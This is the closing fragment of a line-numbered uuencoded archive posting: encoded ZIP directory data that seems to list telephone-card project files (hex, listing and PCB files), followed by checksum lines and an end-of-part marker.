  2155. M``@`:U(P'2C2B*Y<````?`$```P``````````0`@````M#$``%1%3$5#4D0Q
  2156. M+D524E!+`0(4`!0````(`&U2,!TIRVCV9P```)`#```,``````````$`(```
  2157. M`#HR``!414Q%0U)$,BY%4E)02P$"%``4````"`!K4C`=#LVE_>8!``"G!```
  2158. M#``````````!`"````#+,@``5$5,14-21#$N2$584$L!`A0`%`````@`;5(P
  2159. M'=V65G;,`0``800```P``````````0`@````VS0``%1%3$5#4D0R+DA%6%!+
  2160. M`0(4`!0````(`&M2,!T#9[*E[!@```1V```,``````````$`(````-$V``!4
  2161. M14Q%0U)$,2Y,4U102P$"%``4````"`!M4C`=SK(OU808``"#=0``#```````
  2162. M```!`"````#G3P``5$5,14-21#(N3%-44$L!`A0`%`````@`,Z`M'>O)T?/$
  2163. M````M0$```P``````````0`@````E6@``%1%3$5#05)$+DY%5%!+`0(4`!0`
  2164. M```(`)=`+AU%6_@T604``#X-```,````````````(````(-I``!414Q%0T%2
  2165. M1"Y00T)02P$"%``4````"`#V4C`=Q).SI$,)```@R`4`#````````````"``
  2166. M```&;P``5$5,14-!4D0N4%).4$L!`A0`%`````@`BG8O'45.SGID!0``S!<`
  2167. M``P``````````0`@````<W@``%1%3$5#05)$+E,P,5!+!08`````$0`1`-@#
  2168. (```!?@``````
  2169. `
  2170. end
  2171. sum -r/size 61640/45861 section (from "begin" to "end")
  2172. sum -r/size 58373/33263 entire input file
  2173.  
  2174. ------------------------------------------------------------------------------
  2175. <UUEncoded Part Ends Here!>.
  2176.